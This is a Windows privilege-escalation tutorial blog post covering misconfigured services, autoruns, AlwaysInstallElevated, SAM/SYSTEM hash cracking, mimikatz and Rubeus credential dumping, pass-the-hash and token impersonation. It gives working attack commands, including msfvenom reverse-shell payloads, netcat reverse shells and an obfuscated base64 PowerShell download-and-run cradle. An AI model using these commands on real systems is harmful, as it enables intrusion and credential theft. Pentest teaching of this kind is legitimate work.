Windows privilege escalation via Misconfigured Services, Registry, SAM/SYSTEM files, User Impersonation

18 min readJul 4, 2021

Hi readers this is just another windows privesc article. Here we will be seeing how misconfigured services, registry and exposed SAM/SYSTEM files can be exploited for escalating privileges….

Some windows learning prerequisites:

Types of groups in Windows:

  1. Regular Groups e.g Administrators, Users
  2. Pseudo Groups- Groups are created for short period of time. e.g Authenticated Users, NT AUTHORITY\INTERACTIVE

Types of user accounts in Windows:

  1. User Accounts- Used by users to login. e.g Administrator(default)
  2. Service Accounts- Used by different software services to run. Cannot be used to login. e.g LocalService, NetworkService, LocalSystem etc.

Access Control lists (ACLs) contains info regarding permissions for accessing a resource in Windows. Each ACL contains one or more Access Control Entries(ACEs)

Note: accesschk.exe binary used in the demonstration below is a older version. Latest version of accesschk cannot be used via cmdline GUI access is required for accepting the eula. It does not have /accepteula option :( fir more details check

Privilege Escalation

1. Exploiting misconfigured Services:

Types of misconfigurations:

Insecure Service Properties, Unquoted Service Paths, Weak Registry Permissions for a service registry, Insecure File permissions for Service Executables, DLL hijacking. Let’s see them one by one….

  1. Insecure Service Properties:

If our user has permission to change the configuration of a
service which runs with SYSTEM privileges, we can change
the executable the service uses to one of our own.

a) Enumerate services via any Enumeration tool/script, here we have used winpeas. It found a service named “daclsvc” for which our current user has write/modify access.

b) Confirming permissions: We can confirm it by using accesschk sysinternal binary. It by be downloaded from the link below.


.\accesschk.exe /accepteula -ucqv user daclsvc

We have all the required permissions. Now lets check whether it runs with higher privileged user or not. As we can see below it runs with LocalSystem which is the most privileged service account in windows.

c) Now we will just create reverse shell binary and expose it via smb and modify the BINARY_PATH_NAME property and change it to our reverse shell binary path.

sc config daclsvc binpath= "\"\\\tools\reverse.exe\""

d) At last we just need to start the service to get reverse shell. Make sure netcat is listening for it.

net start daclsvc

Using Powerup.ps1

Get-ModifiableServiceFile -Verbose

Our current user can restart and change binpath of AbyssWebServer service.

import-module C:\AD\Tools\PowerUp.ps1; Invoke-ServiceAbuse -Name 'AbyssWebServer' -UserName dcorp\student479 -Verbose

2. Unquoted Service Paths:

Executables in Windows can be run without using their extension (e.g. “systeminfo.exe” can be run by just typing “systeminfo”). We can also pass arguments to some of these binaries separated by spaces, e.g. <someprog.exe> arg1 arg2 arg3. This behavior leads to ambiguity when using absolute(full) paths that are unquoted and contain spaces. When service is configured with absolute path. e.g

C:\Program Files\Some Dir\SomeProgram.exe

If a sysadmin saves this in without quotes in BINARY_PATH_NAME property for a particular service. Then windows will not directly run SomeProgram.exe . First it will look for a binary named Program.exe in C:\ drive then if does not find it will move on and then look for Some.exe in ‘C:\Program Files\’ and if does not finds it then, finally runs SomeProgram.exe now funny thing is what if our current unprivileged user has permissions to write files in either C:\ or ‘C:\Program Files\’. in this case we can abuse this windows behavior to get privileged command execution if service runs as a LocalSystem service user account. Interesting isn’t it!!

Let’s see this in action…

a) Let’s Enumerate services using winpeas or powerup.ps1

.\winPEASany.exe quiet servicesinfo

and we found a service named unquotedsvc which has BINARY_PATH_NAME without quotes. Now we need to check directory permissions.

sc qc unquotedsvc

b) We need to check if our current unprivileged user has write permission for these 3 directories C:\, ‘C:\Program Files\’ and ‘C:\Program Files\Unquoted Path Service\’ . We can use icacls.exe or accesschk.exe for this or easiest method is to try and copy a test file to these directories. If our copy is successful we have write permissions otherwise not, as simple as that..

C:\Program Files\Unquoted Path Service\Common Files\unquotedpathservice.exe

Now lets try to copy this file to all 3 directories one by one.

We can also use accesschk sysinternal tool for this….

.\accesschk.exe /accepteula -uwdq C:\ 
.\accesschk.exe /accepteula -uwdq "C:\Program Files\" 
.\accesschk.exe /accepteula -uwdq "C:\Program Files\Unquoted Path Service\"

members of BUILTIN\Users has read/write permissions. Our user is a member of Users group. It can be verified via net command. net localgroup <groupname>

net localgroup Users

c) We were able to write files in “C:\Program Files\Unquoted Path Service\” directory. Now we just need to rename our reverse shell binary to “Common.exe” and copy it to “C:\Program Files\Unquoted Path Service\”. Also we need to make sure we have permission to start/stop the service.

.\accesschk.exe /accepteula -ucqv user unquotedsvc

d) Now we just need to start the service to get reverse shell as LocalSystem user.

Using Powerup.ps1-

Get-ServiceUnquoted -Verbose

3. Weak Registry Permissions for a service registry:

For each service, registry may be configured with ACLs. If this ACL is misconfigured it might be possible to modify a service’s configuration even if we are not allowed to do it directly.

a) We start by exploring results of winpeas and we got something interesting. We might be able to edit this registry “HKLM\system\currentcontrolset\services\regsvc

b) Verifying the registry permissions:

i) Using Get-Acl cmdlet (Powershell)-

Get-Acl HKLM:\System\CurrentControlSet\Services\regsvc |  Format-List *

“NT AUTHORITY\INTERACTIVE” has full control over this registry and if we list all the groups for our user, we find our current user is a part of this group.

whoami /groups

ii) Using accesschk.exe:

.\accesschk.exe /accepteula -uvqk HKLM\System\CurrentControlSet\Services\regsvc

c) Also we need to check weather we have permission to start and stop the service:

.\accesschk.exe /accepteula -ucqv user regsvc

d) Editing the registry:

i) First we need to determine what is available in registry to which we can change.

reg query HKLM\SYSTEM\CurrentControlSet\services\regsvc

or we can use powershell also

Get-Item -path HKLM:\SYSTEM\CurrentControlSet\services\regsvc

We will modify the ImagePath to that of our reverse shell binary.

ii) Editing the ImagePath property:

A) using Powershell-

Set-Itemproperty -path 'HKLM:\SYSTEM\CurrentControlSet\services\regsvc' -Name 'ImagePath' -value 'C:\PrivEsc\reverse.exe'

B) Using reg command-

reg add HKLM\SYSTEM\CurrentControlSet\services\regsvc /v ImagePath /t REG_EXPAND_SZ /d C:\PrivEsc\reverse.exe /f

e) Starting the service to get reverse shell as LocalSystem-

net start regsvc

Using PoweUp.ps1-

Invoke-ServiceAbuse -Name 'AbyssWebServer' -UserName dcorp\student479 -Verbose

4. Insecure File permissions for Service Executables:

Here we will check weather a non privileged user is allowed to replace service executable binary to reverse shell binary.

a) Again we start by Enumerating using winpeas and going through output we found -

Also we have permission to start and stop the service.

.\accesschk.exe /accepteula -ucqv user filepermsvc

b) Copy the original executable to some other location:

copy "C:\Program Files\File Permissions Service\filepermservice.exe" .

c) Replacing it with our reverse shell binary-

copy /Y C:\PrivEsc\reverse.exe "C:\Program Files\File Permissions Service\filepermservice.exe"

d) Starting the service and getting privileged shell-

net start filepermsvc

5. DLL Hijacking-

Similar to shared libraries in linux, in Windows we have .dll files short for dynamic link library. Some executables may look for these .dll files when executed. If some .dll is missing it will be searched in a specific order (Dll search order) in the PATH. If our user has write permissions to one of these directories program searches for .dll. We might use this to escalate privileges.

a) Enumerate services using winpeas-

winpeas found a directory(C:\Temp) in PATH to which our user is allowed to write/create files.

b) Enumerating Non default/Non microsoft service executables for missing .dll files-

i) First we need to filter all the services which our current user can START/STOP and which runs with higher privileges. For the demonstration only LAB is configured with service named dllsvc. We will check only this one.

sc qc dllsvc

Now we need to find a service executable whose some .dll file is missing in system. For doing this we need GUI. So, In real scenario an Pentester need to recreate the similar scenerio in his lab machine by either copying the service executable to his own windows vm and setup same service with these properties or need to install the same piece of software with all the dependencies and then look for missing .dll files using Process Monitor(Procmon) sysinternal tool.

Note:- Dll hijacking is not usually done in red team engagements or network penetration tests. It is usually done in Appilication security testing.

c) Finding the name of missing .dll file-

i) Run procmon as admin and set a filter for Process Name-

ii) Start the service dllsvc and make sure capture is on in procmon-

net start dllsvc

We are only interested in “NAME NOT FOUND” entries in Result column. Service depends upon hackme.dll which is missing, So windows is looking for it in every directory in PATH.

d) We can add one more filter for this-

Now again clear and upon restarting the service. We will be able to all the directories which we need to check for write permissions.

e) Checking folder permissions using accesschk and creating own malicous .dll using msfvenom-

.\accesschk.exe /accepteula -qvd user "C:\Temp\"

Our user has permission to write to “C:\Temp\”. Now we will create our own .dll with same name and place it in “C:\Temp\”.

msfvenom -p windows/x64/shell_reverse_tcp LHOST= LPORT=53 -f dll -o hijackme.dll

f) Copying the hackme.dll to “C:\Temp\” and restart the dllsvc service-

copy \\\apnashare\hijackme.dll C:\Temp\

Finally, just restart the service and make sure netcat is listening…

2. Exploiting misconfigured Registry settings:

  1. Misconfigured Autoruns:

Autoruns is a windows feature used to run commands at startup. They can be configured to run as admin privileges. These “AutoRuns” are configured in the Registry.

If a standard user has privileges/is allowed to write the autorun executable. And he/she can restart or can wait for system to be restarted, Then autoruns can be used to escalate privileges by just changing the autorun binary to that of msfvenom’s.

a) As usual we start with some enumeration tool (winpeas).

.\winPEASany.exe quiet applicationsinfo

b) Verifying the permissions using accesschk-

.\accesschk.exe /accepteula -uvq user "C:\Program Files\Autorun Program\program.exe"

As we can see our user has All possible access rights for this file.

c) Copying the original exe to somewhere else-

copy “C:\Program Files\Autorun Program\program.exe” .\bak\

d) Renaming the reverse.exe or making a copy named program.exe-

copy .\reverse_binary\reverse.exe .\reverse_binary\program.exe

e) Writing new malicious program.exe to “C:\Program Files\Autorun Program\program.exe”

copy /Y .\program.exe “C:\Program Files\Autorun Program\program.exe"ORCopy-Item -Path .\program.exe -Destination "C:\Program Files\Autorun Program\program.exe"

f) Just restart the system.

2. AlwaysInstallElevated:

MSI installers usually runs with the privileges of user who is installing them. However windows has a functionality which allows them to be installed as administrator even by the standard user.


If the registry keys specified above are enabled or set to ‘1’. Then we may use malicious .msi installers to get code execution with administrator.

a) Checking registry-

powershell -c "Get-ItemProperty -Path Registry::HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Installer"
powershell -c "Get-ItemProperty -Path Registry::HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Installer"
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer

b) Creating, transferring and running malicious msi-

msfvenom -p windows/x64/shell_reverse_tcp LHOST= LPORT=53 -f exe -o reverse_193_5.exe
msiexec /quiet /qn /i C:\PrivEsc\reverse_binary\reverse_193_5.msi




Credential Theft

1) SAM and SYSTEM files:

In windows, local account password hashes are stored in a file named SAM. The Security Account Manager (SAM) is a registry file for Windows XP, Windows Vista, Windows 7, 8.1, and 10 that stores local users’ account passwords. This file cannot be accessed while the system is running. This file is encrypted with keys which are stored in another file named SYSTEM.

As you might have guessed we need both these files (SYSTEM and SAM) to be able to crack passwords for local accounts. Sometimes backups of these files are present in the system. Let’s see how to find them and crack them for passwords-

a) As usual we start enumeration using winpeas with windows creds and files info checks enabled-

.\winPEASany.exe quiet windowscreds filesinfo

b) Transfering them to my machine via smb share mounted on target-

copy-item C:\Windows\repair\SAM .
copy-item C:\Windows\repair\SYSTEM .

c) Extracting and Cracking the hash-

A. Using mimikatz-

i) we will be using mimikatz for extracting hashes. Copy SAM file and SYSTEM file and mimikatz.exe into one directory.

ii) Then we will run mimikatz binary and run the below command-

lsadump::sam /system:SYSTEM /SAM:SAM

scroll down to find NTLM hashes of different users..

Now we can either crack this hash using hashcat or we can use it as it is to get rce using pass the hash.

B. Using impcket’s secretsdump-

impacket-secretsdump -sam ./Hashes/sam -system ./Hashes/system local

C. Using samdump2-

samdump2 ./Hashes/system ./Hashes/sam

iii) Cracking the hash using hashcat-

hashcat --example-hashes | grep NTLM -B 3 -A 2

Now we can detect which version we need to use by just comparing the length of our hash to that of hashcat’s example hash. Both are 32 character long. So we need to use mode 1000.

hashcat -m 1000 ntlm.txt /usr/share/wordlists/rockyou.txt --force


Note: You can try BASTIAN and Omini windows box in HTB. It requires password cracking via using SAM and SYSTEM files:)

2) Stored Credentials:

cmdkey -list

Now we can run binaries/cmds with Privileges of this user:

runas /savecred /user:ACCESS\Administrator "C:\Users\security\Access.exe"runas /savecred /user:<USER> <binary_path>

3) Mimikatz:

#Dumping creds from SAM:
powershell .\mimikatz.exe token::elevate lsadump::sam exit
mimikatz !lsadump::sam

# dump passwords from memory NTLM hashes
powershell .\mimikatz.exe token::elevate sekurlsa::logonpasswords exit
mimikatz !sekurlsa::logonpasswords

#Domain Cached Credentials
powershell .\mimikatz.exe token::elevate lsadump::cache exit
mimikatz !lsadump::cache

#Kerberos encryption keys of currently logged on users
powershell .\mimikatz.exe token::elevate sekurlsa::ekeys exit
mimikatz !sekurlsa::ekeys

4) Extracting Kerberos Tickets

triage” command lists all the Kerberos tickets in the current logon session and with elevated shell, from all logon sessions on the machine. Then we can use “dump” command to dump the Kerberos keys.

powershell .\Rubeus.exe triage

Rubeus.exe dump /luid:0x7049f /service:krbtgt
Rubeus.exe dump /luid:<luid> /service:<service name>

Then we can dump the tickets-

execute-assembly /root/Desktop/Tools/Rubeus.exe dump /luid:0xf8d3f /service:krbtgt

Note: Tickets for the service name krbtgt are Ticket Granting Tickets (TGTs) and others are Ticket Granting Service Tickets (TGSs)

4. User Impersonation:

1) Pass The Hash-

pth-winexe --system -U 'admin%aad3b435b51404eeaad3b435b51404ee:a9fdfa038c4b75ebc76dc855dd74f0da' // cmd.exe

crackmapexec smb <target(s)> -u username -H NTHASH

beacon> pth DEV\admin a9fdfa038c4b75ebc76dc855dd74f0da
# "rev2self" To drop impersonation afterwards

2) Over Pass The Hash-

OPTH allows us to produce tokens from keys or hashes. (Admin privs are required)

Overpass the hash is a technique that allows us to request a Kerberos TGT for a user, using their NTLM or AES hash.

a) Cobalt(does not requires administrator privs)-

#Asking TGT using NTLM hash
execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe asktgt /user:jking /ntlm:59fc0f884922b4ce376051134c71e22c /nowrap

#Asking TGT using AES hash
execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe asktgt /user:jking /aes256:4a8a74daad837ae09e9ecc8c2f1b89f960188cb934db6d4bbebade8318ae57c6 /nowrap

# We can specify domain and opsec as well
beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe asktgt /user:jking /aes256:4a8a74daad837ae09e9ecc8c2f1b89f960188cb934db6d4bbebade8318ae57c6 /domain:DEV /opsec /nowrap

#Now We can use this TGT in pass the ticket command

b) Without cobalt

Invoke-Mimikatz -Command '"sekurlsa::pth /user:Administrator /domain:us.techcorp.local /aes256:<hash> /run:powershell.exe"'

Getting a shell via OVPTH:

Rubeus.exe asktgt /user:svcadmin /aes256:6366243a657a4ea04e406f1abc27f1ada358ccd0138ec5ca2835067719dc7011 /opsec /createnetonly:C:\Windows\System32\cmd.exe /show /ptt
SafetyKatz.exe "sekurlsa::pth /user:appadmin /domain:dollarcorp.moneycorp.local /aes256:68f08715061e4d0790e71b1245bf20b023d08822d2df85bff50a0e8136ffe4cb /run:cmd.exe" "exit"

Note: this new cmd.exe process is a logon type 9 process. New credentials will only be used while accessing network resources.

winrs -r:dcorp-dc cmd

3) Pass the ticket-

#Listing all tickets
powershell .\Rubeus.exe triage

#Dumping a specific ticket
execute-assembly /root/Desktop/Tools/Rubeus.exe dump /luid:0xf8d3f /service:krbtgt

#Creating a new cmd process
execute-assembly /root/Desktop/Tools/Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe

#Finally we pass the ticket to this process
execute-assembly /root/Desktop/Tools/Rubeus.exe ptt /luid:0x19ceb0f /ticket:<b64>

#impersonate the process
steal_token 4748


4) Token Impersonation-

#ps to check the running proccesses
#steal_token <PID>
steal_token 516

#rev2self to go back

5) Make token-

The make_token command enables you to impersonate a user if you have access to their plaintext password. This is achieved by utilizing the LogonUserA API, which requires various inputs such as a username, password, domain name, and logon type. In this specific case, the LOGON32_LOGON_NEW_CREDENTIALS logon type is employed, which enables the caller to create a copy of their current token and assign new credentials for outbound network connections.

beacon> make_token <doamin>\<username> <password>

#This shows old user
beacon> powershell whoami

#This shows new user which we impersonated
beacon> remote-exec winrm <domain> whoami

Note: these credentials are used when accessing a remote resource.

6) Powershell: Start-Process(Recommended)

$pass=ConvertTo-SecureString 'Welcome1!' -AsPlainText -Force$cred=New-Object System.Management.Automation.PSCredential ("Administrator", $pass)Start-Process -FilePath "C:\Users\Alfred\nc64.exe" -ArgumentList "","53","-e","powershell" -Credential $credORStart-Process -FilePath "C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe" -ArgumentList "-exec","bypass","-enc","aQBlAHgAKAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADEAMQA5AC4AMQA1ADYALwBJAG4AdgBvAGsAZQAtAFAAbwB3AGUAcgBTAGgAZQBsAGwAVABjAHAAMgAuAHAAcwAxACcAKQApAA==" -Credential $credOR[System.Diagnostics.Process]::Start("C:\windows\temp\nc64.exe"," 53 -e powershell",$mycreds.Username, $mycreds.Password, $computer)Note: ComputerName/Hostname is required in last case

6) Powershell Remoting

  • It uses WinRM. It listens by default on 5985 (HTTP) and 5986 (HTTPS). It can be enabled by running(Require admin privs on target)-
Enable-PSRemoting -Verbose
Get-NetTCPConnection -State Listen
  • Types of Powershell Remoting-

i) One to One

  • an interactive session like ssh
  • We can control a single machine at a time

Note: this works without creds because our current user already have derivative local admin rights.

We can also create session variable-

$session1 = New-PSSession -Computer SANDBOXDC

Note: We can also use PS creds for creating session. By default it creates session variable for current user with which we are running commands. Refer Docs for more (

Then we can use Enter-PSSession to get the shell of a remote system.

Enter-PSSession -Session $session1

ii) One to many

  • Non-interactive session
  • We can simultaneously run commands on multiple systems parallely.
Invoke-Command –Scriptblock {Get-Process} -ComputerName (Get-Content <list_of_computers>)
  • Running locally stored PowerShell script on multiple systems-
Invoke-Command –FilePath C:\scripts\Get-PassHashes.ps1 - ComputerName (Get-Content <list_of_computers>)
  • We can also run functions which are loaded only in current powershell session-
Invoke-Command -ScriptBlock ${function:Get-PassHashes} -ComputerName (Get-Content <list_of_computers>)Invoke-Command -ScriptBlock ${function:Get-PassHashes} -ComputerName (Get-Content <list_of_computers>) -ArgumentList
  • To evade logging buitin tool known as winrs can be used-
winrs -remote:<IP/server> -u:<IP/server>\administrator -p:Pass@1234 hostname

Running commands as other users.

$pass=ConvertTo-SecureString 'Zx^#QZX+T!123' -AsPlainText -Force$cred=New-Object System.Management.Automation.PSCredential ("batman", $pass)Invoke-Command -Computer ARKHAM -ScriptBlock { whoami } -Credential $cred

4) PsExec/SharpPersist-

Getting reverse shell/shell as SYSTEM user.

.\PsExec64.exe -accepteula -s C:\tester\nc64.exe 53 -e powershell.\PsExec64.exe -accepteula -i -s powershellSharPersist.exe -t service -c "C:\Users\user1\http_80_beacon_SVC.exe" -n "chromeupdate1" -m add
Get-Item -path HKCU:\Software\Sysinternals\PsExec

Getting reverse shell as another user.

.\PsExec64.exe -accepteula -u user -p password321 C:\Users\admin\Desktop\nc64.exe 53 -e powershell

5) Run as-

Change 32 bit meterpreter shell to 64 bit-


Thanks for reading!

Author: Prabhsimran (